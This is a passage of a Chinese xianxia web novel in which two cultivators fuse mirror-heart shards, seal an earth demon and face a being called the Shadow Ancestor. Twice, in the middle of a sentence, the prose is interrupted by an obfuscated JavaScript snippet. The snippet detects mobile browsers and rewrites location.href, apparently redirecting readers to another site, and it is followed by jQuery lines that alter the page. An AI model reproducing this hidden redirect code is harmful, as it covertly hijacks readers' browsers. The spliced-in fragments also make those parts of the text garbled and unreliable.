此刻,她就站在众人面前,气息浩瀚如渊,却又纯净如初雪。那是一种超越了境界定义的存在感,仿佛她本身就是“道”的具象化。 天池边,所有人都僵在原地。 震惊、疑惑、敬畏、警惕……复杂的情绪在每个人心中翻涌。 “您是……”素青真人声音发颤,作为净尘宗当代掌门,她比任何人都清楚净尘仙子的意义。 “我是净尘,也不是。”净尘仙子微微一笑,那笑容中带着三万年沉淀的沧桑,“准确说,我是她留在镜心深处的一缕‘道念’,结合两个世界的镜心碎片,暂时凝聚的形体。” 她看向叶清风手中的混沌净尘剑:“你能集齐两个镜心碎片,唤醒我,说明你已经通过了所有考验。” “考验?”叶清风握紧剑柄,“这一切……都是您安排的?” “不完全是。”净尘仙子摇头,“我只是留下了种子,而种子如何生长,取决于后来者的选择。” 她走到天池边,俯视着黑色池水:“三万年前,我镇压心魔之主时,发现了一个可怕的真相——心魔之主,杀不死。” “为什么?” “因为它本就是‘人心’的阴暗面。”净尘仙子轻声道,“只要生灵还有负面情绪,心魔之主就会不断重生。所以我只能封印它,期待后世能找到真正消灭它的方法。” 她顿了顿:“但我没想到,这个封印会引发连锁反应。心魔之主被镇压,它的力量分流,一部分形成了镜像世界的魔尊,另一部分……沉入了地底,孕育出了‘地魔’。” 玄诚子脸色大变:“所以地魔的苏醒,也是因为……” “因为封印松动了。”净尘仙子点头,“完整魔尊与镜像魔尊的力量冲击,加上林素衣以身为镜封堵通道,这些都让封印出现了裂痕。地魔感应到了,它要出来了。” 她看向叶清风:“而你们现在面临的,是三重危机:地魔即将苏醒,镜心碎片需要融合,林素衣的残魂即将消散。” “先救林师妹。”叶清风毫不犹豫。 “救她,需要两个镜心碎片完全融合。”净尘仙子道,“但融合后的镜心,将成为新的‘天道意志’。届时,它必须选择一个宿主——要么是林素衣,要么是……” 她看向叶清风:“你。” “什么意思?” “镜心是世界的核心,它需要一个具象化的‘代言人’。”净尘仙子解释,“这个代言人将成为世界意志的延伸,拥有操控部分法则的力量,但也将承担守护世界的责任,并且……永远无法离开这个世界。” 她顿了顿:“更重要的是,镜心一旦选定宿主,就会与宿主完全绑定。宿主生,镜心存;宿主死,镜心碎,世界将陷入混乱。” 叶清风明白了:“所以您让我选择,是让林师妹成为宿主,还是我自己成为宿主?” “不,选择权不在你。”净尘仙子摇头,“在镜心自己。它会选择最合适的人。” “那融合的过程……” “需要你将两个镜心碎片,融入林素衣的残魂。”净尘仙子道,“但在融合的瞬间,镜心会同时扫描你们的灵魂,做出选择。如果它选择了你,林素衣的残魂就会彻底消散;如果选择了她,你的净尘血脉和修为,都将作为养料,助她重塑肉身。” 花无暇急道:“那叶清风会怎样?” “修为尽废,沦为凡人,寿元大减。”净尘仙子平静道,“最好的情况,能再活十年;最坏的情况……当场死亡。” 众人沉默了。 这是一个残酷的选择:救林素衣,叶清风可能要付出生命的代价;不救,林素衣必死无疑。 “我愿意。”叶清风的声音很轻,却异常坚定。 “你想好了?”净尘仙子看着他,“你才二十岁,已经触摸到了元婴圆满,未来成就不可限量。为了救一个人,值得吗?” “值得。”叶清风看向池底炸裂的镜门,“因为她救过的人,不止我一个。她为这个世界付出的,远比我多。” 净尘仙子眼中闪过一丝赞许。 “好。那现在开始吧。” 她抬手,叶清风手中的混沌净尘剑自动飞起,剑中的小璃身影浮现。 “小璃,准备好了吗?” “准备好了,净尘姐姐。”小璃点头,眼中含泪,“三万年的等待,终于……要结束了。” 净尘仙子双手结印,混沌净尘剑开始分解。 不是破碎,而是回归本源——剑身化作无数光点,光点中,两个镜心碎片缓缓浮现。一片蓝金色,一片纯黑色,此刻正在互相吸引,缓缓靠近。 “以我道念为引,以净尘血脉为桥——”净尘仙子的声音响彻天地,“镜心归一,重塑真我!” 两个碎片终于触碰。 刹那间,天地失色。 不是黑暗,而是所有的色彩都消失了。世界变成了纯粹的黑白两色,只有那融合中的镜心碎片,散发着唯一的彩色光芒。 光芒越来越盛,最终化作一道光柱,射入池底镜门的废墟中。 废墟里,林素衣残魂的身影缓缓升起。 她依旧虚幻,但比之前凝实了许多。她睁开眼睛,眼中一片茫然,仿佛刚从漫长的梦境中醒来。 “素衣!”素青真人激动地喊道。 林素衣看向她,又看向周围众人,最后目光落在叶清风身上。 “叶师兄……我这是……” “别说话。”叶清风走上前,将手按在她额头,“放松,让镜心选择。” 融合后的镜心碎片飘到二人中间,开始旋转。 每旋转一圈,就释放出一圈光芒。光芒扫过叶清风和林素衣,扫描他们的灵魂、记忆、道心、意志…… 叶清风感到自己的意识被彻底打开,所有的记忆——从出生到现在的每一刻——都被镜心读取。同时,他也“看到”了林素衣的记忆: 七岁入净尘宗,日夜苦修; 十岁继承源海珠,背负宗门希望; 十六岁面对魔尊,以身为镜封堵通道; 在镜像夹缝中三万年的孤独守望…… 那些记忆如潮水般涌来,叶清风终于明白,林素衣承受了多大的压力,付出了多大的代价。 “原来……你这么苦。”他轻声道。 林素衣看着他,眼中闪过复杂的光:“叶师兄,你也是。” 镜心旋转的速度开始变慢。 它要做出选择了。 所有人都屏住呼吸。 净尘仙子也罕见地露出紧张的神色——这关系到两个世界的未来。 终于,镜心停了下来。 它缓缓飘向……林素衣。 选择了她! “太好了!”花无暇喜极而泣。 但净尘仙子的脸色却突然变了。 “不对!”她厉声道,“镜心在犹豫!它还没有完全选定!” 果然,飘向林素衣的镜心突然停住,然后……转向叶清风! 它在两人之间来回摇摆,仿佛无法做出决定。 “这是怎么回事?”玄诚子不解。 “他们的灵魂……产生了共鸣。”净尘仙子脸色凝重,“镜心无法在两人之间做出选择,因为两人的灵魂本质,太过相似了。” “相似?” “都是‘守护者’。”净尘仙子叹息,“叶清风为守护而修行,林素衣为守护而牺牲。两人的道心,都是最纯粹的守护之道。镜心无法判断谁更合适。” “那怎么办?” “只有一个办法。”净尘仙子看向二人,“你们两个……同时成为宿主。” “同时?”众人愣住了。 “镜心一分为二,分别融入两人体内。”净尘仙子道,“这样,两人都将获得镜心的部分力量,但也将承担双倍的负担。而且,从此以后,你们的生命将完全绑定——一人死,另一人也会死;一人伤,另一人也会感同身受。” 她顿了顿:“更重要的是,你们将成为‘双镜心’,可以共同操控世界法则,但也将永远被绑定在这个世界,永远无法分离。” 叶清风和林素衣对视一眼。 “我愿意。”两人同时开口。 净尘仙子沉默片刻,点头:“好。那就……开始吧。” 她双手一合,镜心碎片突然炸裂,化作两半。一半蓝金色,一半纯黑色,分别飞向叶清风和林素衣。 碎片融入二人眉心的刹那—— 轰!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980559|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两人的气息同时暴涨! 叶清风的修为从元婴圆满一路飙升,突破化神,最终停在化神中期!他的头发重新变黑,皮肤上的裂纹愈合,眉心的黑色印记被镜心力量净化。 林素衣的残魂迅速凝实,重新拥有了肉身!她的修为也从原本的金丹期,直接提升到了化神初期!源海珠和净尘镜的虚影在她身后浮现,与镜心力量完美融合。 更神奇的是,两人之间产生了某种无形的连接。 叶清风能感觉到林素衣的心跳,能共享她的感官;林素衣也能感应到叶清风的情绪,能借用他的剑意。 这就是“双镜心”的羁绊。 “成功了……”素青真人激动得浑身颤抖。 但净尘仙子的身影,却开始变得透明。 “我的使命完成了。”她微笑,“接下来,这个世界就交给你们了。” “前辈!”叶清风急道,“您……” “我本就是一缕道念,能存在这么久,已经是奇迹。”净尘仙子看向天池,“现在,该解决最后一个问题了——地魔。” 她指向池底:“地魔已经半苏醒,最多还有三个时辰,就会完全破封。以你们现在的实力,加上双镜心的力量,或许能重新封印它。” “怎么封印?” “需要三个人。”净尘仙子道,“一人入地,以身为引,将地魔的意识拖入‘心魔幻境’;一人守阵,以镜心之力稳定封印;还有一人……斩魔。” 她看向叶清风和林素衣:“你们二人,谁入地?谁守阵?” “我入地。”叶清风毫不犹豫。 “不,我入地。”林素衣摇头,“我有源海珠,对魔气抗性更强。” “但你的身体刚刚重塑——” “正因为刚刚重塑,才更需要历练。”林素衣眼神坚定,“叶师兄,你剑法更强,更适合斩魔。而且……” 她顿了顿:“我有预感,地魔的核心,与心魔之主有关。而我对心魔之主……有种特殊的感应。” 净尘仙子眼中闪过讶异:“你感应到了?” “嗯。”林素衣点头,“在镜像夹缝中的三万年,我一直在与心魔之主的残余意识对抗。我能感觉到,地魔的核心深处,有它的气息。” “那就你去吧。”净尘仙子做出决定,“叶清风守阵,花无暇……你来斩魔。” “我?”花无暇愣住,“可我只有元婴初期……” “百花谷的万花焚身秘法,加上我的道念加持,可以让你短时间内拥有化神期的力量。”净尘仙子道,“但代价是……秘法结束后,你会修为尽废,需要重新修炼。” 花无暇沉默片刻,笑了:“若能拯救苍生,修为尽废又如何?我愿意。” “好。”净尘仙子最后的身影几乎看不见了,“那现在……开始吧。” 她化作最后的光芒,分成三份,分别融入叶清风、林素衣、花无暇体内。 “这是我最后的馈赠。接下来的路……靠你们自己了。” 话音落下,净尘仙子彻底消散。 天池边,只剩下众人凝重的呼吸。 叶清风看向林素衣:“准备好了吗?” 林素衣点头,纵身跃入黑色池水。 花无暇盘膝坐下,开始运转万花焚身秘法。 叶清风则走到池边,双手按在地面,镜心之力全力输出,稳定天池的封印阵法。 三个时辰的倒计时,开始了。 而他们不知道的是,在遥远的镜像世界废墟深处,那个被清影自爆炸毁的镜心殿下方…… 无间炼狱的最底层。 一双眼睛,缓缓睁开。 那是……心魔之主的眼睛。 “三万年了……”嘶哑的声音在地底回荡,“净尘,你封印了我三万年……但现在,你的传人,却为我送来了……最好的容器。” “双镜心……哈哈哈哈……真是完美的容器啊……” “等我吞了他们,这个世界……就是我的了。” 黑暗中,无数黑色粘液开始凝聚,形成一个巨大的、扭曲的身影。 那身影,与地底深处正在苏醒的地魔……产生了共鸣。 两个魔物,隔着世界屏障,同时笑了。 真正的危机,才刚刚开始。 50. 地心魔境与双镜之力 林素衣沉入黑色池水。 池水粘稠如墨,带着刺骨的寒意,那是地魔散发出的、积累了三万年的怨毒与憎恨。每一滴水中,都承载着无数被吞噬生灵的惨嚎。 她运转源海珠,蓝金色的净尘之力在周身形成护罩,将魔气隔绝在外。但护罩在不断被侵蚀,发出“滋滋”的腐蚀声。 越往下潜,压力越大。 三百丈、五百丈、一千丈…… 池底没有尽头,只有无尽的黑暗。黑暗中,隐约可见无数骸骨——有人类的,有妖兽的,甚至有一些形态诡异、不属于这个世界的生物骸骨。 这些都是三万年来,被地魔吞噬的生灵。 终于,在潜到三千丈深处时,林素衣看到了地魔的“本体”。 那不是具体的形态,而是一团不断变化的、由无数负面情绪凝聚而成的混沌。混沌中央,悬浮着一颗巨大的心脏——黑色的、缓慢跳动的心脏。 每跳动一次,就有无数黑色触手从心脏中伸出,刺入周围的岩层,吸取地脉之力。 而心脏表面,浮现着无数扭曲的面孔。那些面孔有的在哭泣,有的在狞笑,有的在嘶吼……它们都是被吞噬生灵残留的意识碎片。 “这就是……地魔?”林素衣喃喃道。 “不完全是。”一个声音在她脑海中响起,是镜心小璃,“这只是地魔的‘表层意识’。它真正的核心,藏在更深的地方。” “多深?” “地心。”小璃的声音凝重,“三万年前,净尘姐姐封□□魔之主时,有一部分魔气沉入了地心,与大地本源融合,这才孕育出了地魔。要真正封印它,必须进入地心,找到它的核心。” 林素衣看向那颗黑色心脏:“怎么进去?” “让它的触手吞噬你。”小璃道,“触手连接着它的意识通道,通过那里,可以直达地心。但风险极大——一旦进入,你的意识会暴露在地魔的本源魔气中,稍有不慎就会被污染、吞噬。” 林素衣沉默片刻,然后……主动撤去了护罩。 黑色触手立刻感应到了她,如毒蛇般蜂拥而至,将她层层缠绕,拖向心脏。 她没有抵抗。 触手刺入她的身体,魔气如潮水般涌入。林素衣感到剧痛,但更可怕的是魔气中蕴含的负面情绪:绝望、怨恨、贪婪、嫉妒……这些情绪冲击着她的意识,试图将她拉入深渊。 她咬牙坚持,运转《净魔心经》,守住灵台最后一丝清明。 不知过了多久,眼前突然一亮。 她来到了一个奇异的空间。 这里没有上下左右,只有无尽的虚空。虚空中,漂浮着无数光球,每一个光球里,都映照着一个生灵的一生。 那是被地魔吞噬的所有生灵的记忆。 而在所有光球的中心,盘坐着一个身影。 一个穿着白色长裙的女子,长发垂地,面容与净尘仙子有七分相似,但眼神中却充满了邪异的红光。 “你终于来了。”女子开口,声音温柔,却让人不寒而栗,“我等了你……三万年。” 林素衣心中一震:“你是……” “我是心魔之主的分身。”女子微笑,“或者说,是净尘那贱人在镇压我时,被我污染的那一部分。” 她站起身,走向林素衣:“你知道吗?三万年前,净尘在封印我时,动摇了。她看到了人心最深处的黑暗,开始怀疑自己守护的意义。就在她动摇的瞬间,我抓住了机会,将一丝魔种植入了她的道心。” “那一丝魔种,就是后来的‘地魔之种’。它沉入地心,吸收大地恶念,最终孕育出了现在的地魔。而我,作为魔种的核心意识,一直在这里……等待。” 她停在林素衣面前,伸手抚摸她的脸:“等待一个完美的容器,等待一个能承载我全部力量、又能自由行走在世间的身体。” “你……想夺舍我?”林素衣后退一步。 “夺舍?不。”女子摇头,“我要的是……融合。你的身体里有源海珠,有净尘镜,还有镜心的力量。只要我与你融合,就能同时掌控净化与魔化两种力量,成为真正的……神。” 她眼中闪过狂热:“届时,我将重塑这个世界,创造一个没有善恶之分、只有绝对自由的完美世界!” 林素衣冷冷看着她:“那只是你的一厢情愿。真正的自由,不是为所欲为,而是在守护与被守护中找到平衡。” “幼稚。”女子嗤笑,“守护?你看看这些光球——” 她挥手,一个光球飞到林素衣面前。光球中,映照出一个村庄被魔物屠杀的场景。村民们在绝望中死去,临死前的诅咒和怨恨,化作黑色的雾气,被地魔吸收。 “这就是你守护的人。”女子冷笑,“他们脆弱、自私、贪婪。为了活命,可以出卖同伴;为了利益,可以背叛誓言。这样的生灵,值得守护吗?” 又一个光球飞来,这次是一个宗门内斗的场景。师兄弟为了掌门之位互相残杀,师父为了突破瓶颈牺牲弟子…… “再看看这个。” 第三个光球,是一个国家灭亡的过程。君王昏庸,臣子贪腐,百姓在苦难中麻木,最终整个国家被魔物吞噬。 “三万年来,我看了无数这样的场景。”女子叹息,“所以我才明白,净尘错了。她想要净化人心,想要消除恶念,但那是不可能的。因为恶,本就是人性的一部分。” 她看向林素衣:“与其徒劳地对抗,不如……接受。接受人性的全部,包括光明与黑暗。然后,创造一个让所有欲望都能得到满足的世界。” “那被欲望吞噬的人呢?”林素衣问,“那些弱者,那些不想被欲望控制的人呢?” “适者生存。”女子淡淡道,“新世界不需要弱者。” “所以你的完美世界,只是强者的乐园。”林素衣摇头,“抱歉,我不认同。” “那你就去死吧。”女子的眼神骤然冰冷。 虚空中的无数光球突然炸裂,化作无数黑色的触手,从四面八方扑向林素衣! 与此同时,每一个光球中蕴含的负面情绪——三万年来积累的绝望、怨恨、痛苦——如海啸般涌入林素衣的识海! 这是比肉身攻击更可怕的灵魂冲击! 林素衣感到自己的意识正在被淹没。那些负面情绪太庞大了,庞大到足以摧毁任何人的意志。 她看到了自己被魔尊杀死的画面,看到了天池被攻破的场景,看到了所有在乎的人一个个死去…… 绝望,如潮水般涌来。 但就在这时,她感应到了另一个意识——叶清风的意识。 通过双镜心的连接,她看到了外面的世界: 叶清风站在天池边,双手按在地面,镜心之力全力输出,稳定着封印阵法。他的脸色苍白,七窍渗血,显然已经到了极限。 但他没有放弃。 他身后,花无暇正在燃烧生命,万花焚身秘法让她暂时拥有了化神期的力量,她手持百花剑,警惕地注视着池水,准备随时斩魔。 更远处,玄诚子、素青真人、炎阳真人……所有人都在坚守,都在为守护这个世界而战。 “看到了吗?”林素衣在心中对心魔分身说,“这就是我要守护的东西。不是完美的人性,而是……在黑暗中依然选择光明的人。” 她闭上眼睛,将全部心神沉入源海珠。 “源海珠,净尘镜,双镜心——以我之魂,唤净世之光!” 蓝金色的光芒从她体内爆发! 那光芒不是对抗黑暗,而是……包容黑暗。 它没有驱散那些负面情绪,而是将它们包裹、净化、转化为纯粹的情感能量。绝望化为希望,怨恨化为宽恕,痛苦化为慈悲…… 心魔分身发出惊恐的尖叫:“不可能!你怎么能……” “因为我不是净尘仙子。”林素衣睁开眼,眼中流转着蓝金色的光芒,“我不会否定人性的阴暗面,但我相信……光明永远存在。” 她向前一步,伸手按在心魔分身的额头。 “现在,该结束了。” 源海珠的力量与镜心之力融合,化作最纯粹的净化之光,涌入心魔分身体内。 “不——!我不甘心!我等了三万年,我——” 声音戛然而止。 心魔分身的身体开始崩解,化作无数光点。那些光点没有消散,而是飞向虚空中那些炸裂的光球,与其中的负面情绪融合,将它们一一净化。 每一个被净化的光球,都化作一道纯净的光芒,融入林素衣体内。 那是三万年来,所有被吞噬生灵最后的善意与祝福。 林素衣感到自己的力量在疯狂增长,境界从化神初期一路飙升到化神中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980560|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期、后期,最终停在化神圆满! 而她的意识中,多了无数记忆——不是痛苦的记忆,而是那些生灵生命中美好的片段:母亲的笑脸,朋友的拥抱,爱人的誓言,孩子的童真…… “原来……这就是净尘仙子想要守护的东西。”她轻声道。 虚空开始崩塌。 地魔的核心,正在瓦解。 林素衣转身,准备离开。 但就在她即将脱离这个空间的刹那,一个微弱的声音响起: “孩子……等等……” 她回头,看到心魔分身崩解的地方,残留着一缕微弱的白光。白光中,浮现出一个女子的虚影——与心魔分身一模一样,但眼神清澈,充满悲悯。 “你是……”林素衣愣住了。 “我是净尘。”女子微笑,“或者说,是她当年被污染时,强行分离出来的、最后一丝善念。三万年来,我一直被心魔压制,只能眼睁睁看着它作恶。” 她飘到林素衣面前:“谢谢你,让我重获自由。现在,请接受我最后的馈赠——” 她化作一道白光,融入林素衣眉心。 刹那间,林素衣脑海中多了一段记忆: 三万年前,净尘仙子镇压心魔之主后,发现自己道心被污染。为了不让自己堕入魔道,她强行将善念与恶念分离。善念留在天池,化作后来的净尘仙子道念;恶念则被封印在地心,成为了心魔分身。 但净尘仙子算错了一件事:恶念比善念更强大。三万年来,心魔分身一直在侵蚀封印,最终孕育出了地魔。 “所以……地魔是净尘仙子恶念的产物?”林素衣喃喃道。 “不完全是。”那缕善念的声音在她脑海中响起,“地魔的本质,是‘大地之恶’——是所有生灵负面情绪沉淀后,与大地本源结合的产物。我的恶念只是催化剂,加速了它的形成。” 她顿了顿:“现在,地魔的核心已经被净化,但它庞大的身躯还在。你需要重新封印它,否则它的身体会继续吞噬地脉,最终导致大地崩塌。” “怎么封印?” “用双镜心的力量。”善念道,“叶清风在上面稳定阵法,你在地心催动镜心,内外合力,可以暂时将地魔重新封印。但记住,只是暂时。只要世间的恶念不灭,地魔终将再次苏醒。” 林素衣明白了。 她盘膝坐下,双手结印。 眉心,镜心的光芒亮起。 与此同时,地面。 叶清风感应到了林素衣的召唤。 “她成功了!”他眼中闪过喜色,“现在,开始封印!” 他全力催动镜心之力,天池周围的封印阵法光芒大盛。 花无暇也全力输出,百花剑化作万千花瓣,融入阵法,增强封印威力。 地心深处,林素衣与地面上的叶清风,通过双镜心的连接,达成了完美的同步。 两人的镜心之力如潮水般涌出,在地魔庞大的身躯上交织、缠绕,形成一个巨大的封印符文。 地魔发出最后的咆哮,但它已经失去了核心意识,只剩本能的反抗。 封印符文缓缓落下,印在地魔心脏上。 心脏停止了跳动。 黑色的触手开始枯萎、消散。 天池的黑色池水,开始逐渐变清。 “成功了……”素青真人瘫坐在地,喜极而泣。 但叶清风和林素衣却没有放松警惕。 因为就在封印完成的瞬间,他们同时感应到了—— 在镜像世界的废墟深处,那个无间炼狱的最底层,有什么东西……苏醒了。 那不是心魔之主。 而是比心魔之主更古老、更恐怖的存在。 一个嘶哑的声音,跨越世界屏障,在他们脑海中响起: “双镜心……终于成熟了。” “等了三万年,终于等到……最好的祭品。” “来吧,来镜像世界,完成……最后的仪式。” 叶清风和林素衣对视一眼,都看到了对方眼中的震惊。 原来,清影的计划,从来不是融合两个世界。 而是…… 献祭两个世界,唤醒某个更可怕的存在。 而现在,那个存在,盯上了他们。 双镜心的拥有者,成为了它降临的……最佳容器。 51. 影祖之谋与镜中镜 “影祖。” 这个名字,带着三万年沉淀的恶意,跨越世界屏障,在叶清风和林素衣脑海中回荡。仅仅是听到这个名字,就让他们感到灵魂在战栗,仿佛被最原始的恐惧攫住。 天池边,地魔的封印刚刚完成,黑色的池水正逐渐澄清。但所有人都没有胜利的喜悦,反而被这突如其来的恐怖气息压得喘不过气。 “那是什么东西?”炎阳真人脸色惨白,化神期的修为在这气息面前,脆弱得如同婴儿。 素青真人艰难地看向叶清风和林素衣:“你们……感应到了什么?” 叶清风没有回答,因为他正与林素衣通过双镜心的连接,快速交流着信息。 “它在镜像世界的无间炼狱最底层。”林素衣的声音直接在他意识中响起,“比心魔之主更古老,比地魔更恐怖。清影的所有计划,都是为了唤醒它。” “它的目的是什么?” “献祭两个世界,以双镜心为钥匙,打开‘真实之门’。”林素衣的声音带着颤抖,“它说……我们所在的世界,包括镜像世界,都只是‘镜中镜’——是真实世界的倒影。而它,要从倒影中挣脱,进入真实。” 叶清风心中巨震。 镜中镜? 如果这个世界已经是镜像,那真实世界又是什么?净尘仙子、清虚祖师、魔尊……所有这些存在,难道都只是倒影? “不对。”镜心小璃的声音突然插入,“净尘姐姐的记忆里,没有这个说法。她说两个世界本是一体,如同硬币的两面,没有谁是倒影。” “那影祖为什么……” “它在说谎。”一个陌生的声音响起,不是小璃,也不是林素衣,而是……叶清风体内的另一半镜心。 那枚纯黑色的镜心碎片,此刻竟然主动开口了: “我是镜像世界的镜心,你可以叫我‘暗璃’。三万年前,净尘姐姐创造小璃时,也创造了我。我知道影祖的真相。” “快说!”叶清风和林素衣同时催促。 “影祖不是某个具体的存在。”暗璃的声音冰冷,“它是两个世界所有负面情绪沉淀后,产生的‘集体意识’。怨恨、贪婪、嫉妒、绝望……这些情绪在三万年的积累中,逐渐产生了自我意识,那就是影祖。” “它没有实体,所以需要容器。三万年来,它一直在寻找合适的容器——心魔之主是第一个试验品,但它太弱了,无法承载影祖的全部力量。地魔是第二个,但它只有本能,没有智慧。” “直到清影出现。” 暗璃顿了顿:“清影是完美的容器——他拥有净尘血脉,拥有时空天赋,最重要的是……他心怀怨恨。他恨自己只是镜像,恨这个世界不公平。这种恨意,让影祖轻易侵蚀了他。” “所以清影的所有计划,表面是为了融合两个世界,实际上是为了给影祖打造一个完美的降临仪式。而你们……双镜心的拥有者,是仪式的最后一步。” 叶清风明白了:“影祖需要双镜心作为钥匙,打开所谓的‘真实之门’?” “不。”暗璃否定,“它不需要钥匙。它需要的是……祭品。” “祭品?” “完整的双镜心,加上两个世界的本源之力,可以创造出‘真实之种’。”暗璃的声音带着恐惧,“服下真实之种,影祖就能从虚无的集体意识,转化为真实的存在。届时,它将超越两个世界,成为真正的……神。” 死一般的寂静。 林素衣艰难开口:“那我们现在该怎么办?” “只有两个选择。”暗璃道,“第一,立刻毁掉双镜心,自废修为。这样影祖就失去了祭品,但它会继续寻找下一个目标。而且……毁掉镜心,两个世界会失去平衡,可能引发更大的灾难。” “第二呢?” “去镜像世界,主动迎战。”暗璃的声音变得决绝,“在影祖完全苏醒前,找到它的核心意识,用双镜心的力量将它……彻底净化。” “成功率高吗?” “一成。” 又是一阵沉默。 叶清风看向林素衣,通过镜心连接,他能感受到她的犹豫、恐惧,但也感受到了……决意。 “我去。”两人同时开口。 他们相视而笑。 “你不能去。”玄诚子突然道,“你是青玄门的希望,是净尘宗的传承者。要去,也该是我去。” “师伯,您不懂。”叶清风摇头,“影祖的目标是我们,我们不去,它会来找我们。到时候,整个天池,甚至整个青玄山脉,都会成为战场。” 他看向众人:“而且,我们有优势——双镜心的力量,只有在镜像世界才能完全发挥。在那里,我们可以调动两个世界的法则。” 花无暇忽然道:“我跟你们一起去。百花谷的秘法,或许能帮上忙。” “不,你留下。”林素衣道,“天池需要有人镇守。地魔只是被暂时封印,万一影祖在镜像世界搞破坏,导致封印松动,这里必须有人能应对。” 她顿了顿:“而且……如果我们失败了,还需要有人……延续希望。” 这话里的意思,所有人都听懂了。 素青真人眼眶红了:“素衣,你……” “师叔,这是我自己的选择。”林素衣微笑,“三万年前,净尘祖师可以牺牲自己封□□魔之主。今天,我也可以。” 叶清风握住她的手:“我们一起。” 两人并肩而立,周身开始散发出蓝金色与纯黑色交织的光芒。那是双镜心完全激活的征兆。 “现在,打开通往镜像世界的通道。”叶清风看向池底。 镜门已经炸裂,但通道还在。只需要足够的能量,就能重新开启。 两人同时出手,镜心之力如洪流般涌出,注入池底废墟。 废墟中,一面新的镜子缓缓升起——不是之前那面,而是一面完全由光芒构成的镜子。 镜中映照出的,是镜像世界那片血红色的天空。 “走了。”叶清风最后看了一眼众人,与林素衣携手踏入镜中。 镜像世界,无间炼狱最底层。 这里没有光,只有永恒的黑暗。但此刻,黑暗中却亮起了无数眼睛——每一只眼睛,都映照着一个生灵的绝望。 而在所有眼睛的中心,悬浮着一个巨大的黑色卵。 卵的表面,布满血管般的纹路,纹路中流淌着粘稠的黑色液体。卵在缓慢搏动,如同一个即将孵化的心脏。 这就是影祖的“茧”。 叶清风和林素衣出现在卵前。 他们立刻感到一阵窒息——这里的负面情绪浓度,是地心深处的百倍!若非有双镜心护体,他们瞬间就会被污染。 “来了。”一个温和的声音从卵中传出,“我等待了……三万年。” 卵的表面裂开一道缝隙,一只苍白的手伸了出来。接着是第二只、第三只……最终,一个“人”从卵中爬出。 它有着人的形态,但身体是由无数黑色粘液构成的,不断流动、变化。脸上没有五官,只有三个空洞——代表眼睛和嘴。 但最诡异的是,它的气息。 那气息既熟悉又陌生——有清影的时空之力,有心魔之主的恶意,有地魔的混沌,还有……一丝净尘仙子的净化之力。 “你吞噬了清影?”林素衣瞳孔收缩。 “吞噬?不。”影祖的声音带着笑意,“是融合。他本就是我的一部分,现在只是……回归了。” 它“看”向两人:“你们也是。双镜心,两个世界的核心,注定要成为我的一部分。来吧,让我们一起……超越真实。” “做梦。”叶清风拔剑。 混沌净尘剑再次出现,但这一次,剑身的光芒更加凝实——蓝金色与纯黑色完美交融,散发着混沌初开般的气息。 “混沌剑?”影祖似乎有些惊讶,“你们竟然能将它完全炼化。不错,不愧是我选中的容器。” 它抬手,周围的黑暗突然活了过来,化作无数触手扑向二人。 “净世之光!”林素衣双手结印,源海珠与净尘镜同时浮现,爆发出刺目的净化光芒。 光芒与黑暗碰撞,发出刺耳的腐蚀声。 但这一次,净化光芒竟然落了下风!黑暗触手轻易撕裂光芒,继续扑来! “没用的。”影祖淡淡道,“我的力量来自两个世界所有负面情绪,是无穷无尽的。你们的净化之力再强,也只是杯水车薪。” 叶清风一剑斩出。 混沌剑光撕裂黑暗,斩向影祖本体。 但剑光在触及影祖身体的瞬间,竟然……被吸收了! “混沌之力?”影祖笑了,“你以为,只有你们掌握混沌吗?” 它抬手,掌心浮现出一团灰蒙蒙的能量——与混沌剑光一模一样,但更加凝实、更加恐怖。 “清影掌控时空,我吞噬了他,自然也掌控了时空。而时空的尽头,就是混沌。” 灰蒙蒙的能量化作一道光柱,射向叶清风! “小心!”林素衣想挡,但已经来不及。 叶清风横剑格挡,混沌净尘剑与光柱碰撞—— 咔嚓! 剑身出现了裂痕! “什么?!”叶清风脸色大变。 混沌净尘剑是净尘仙子的本命法宝,历经三万年不损,竟然被一击打裂? “因为这不是普通的混沌之力。”影祖的声音中带着得意,“这是‘真实混沌’——超越了你们这个世界的法则。在这个世界,你们是无敌的。但在真实面前……你们只是蝼蚁。” 它再次抬手,这次的目标是林素衣。 “先从你开始吧。源海珠的宿主,净尘的传人……吞了你,我就有了进入真实世界的‘门票’。” 黑暗如潮水般涌向林素衣。 叶清风想救援,但混沌净尘剑的裂痕正在蔓延,他的灵力也被剑身反噬,动弹不得。 眼看林素衣就要被黑暗吞噬—— “住手!” 一个稚嫩的声音响起。 小璃和暗璃的身影,同时从叶清风和林素衣体内飞出。两个镜心化作一蓝一黑两道光芒,在空中交织,形成一个巨大的镜面。 镜面中,映照出的不是影祖,也不是无间炼狱,而是……一片纯白的空间。 空间中央,悬浮着一枚眼睛。 时之眼! “时之眼?!”影祖的声音第一次出现了波动,“你不是已经消散了吗?” “我是消散了。”时之眼的声音从镜中传来,“但镜心记录了我最后的力量。现在,我以镜心为媒介,暂时回归。” 它“看”向影祖:“三万年了,你终于露出了真面目。不过……你真的以为,自己赢定了吗?” “什么意思?” 时之眼没有回答,而是对叶清风和林素衣道:“双镜心合一,真正的用法……不是战斗,而是……” “创造。” 创造? 叶清风和林素衣同时一愣。 “双镜心是世界的核心,它最大的能力,不是毁灭,而是创造新世界。”时之眼快速道,“现在,用你们全部的力量,创造一面‘真实之镜’。” “真实之镜?” 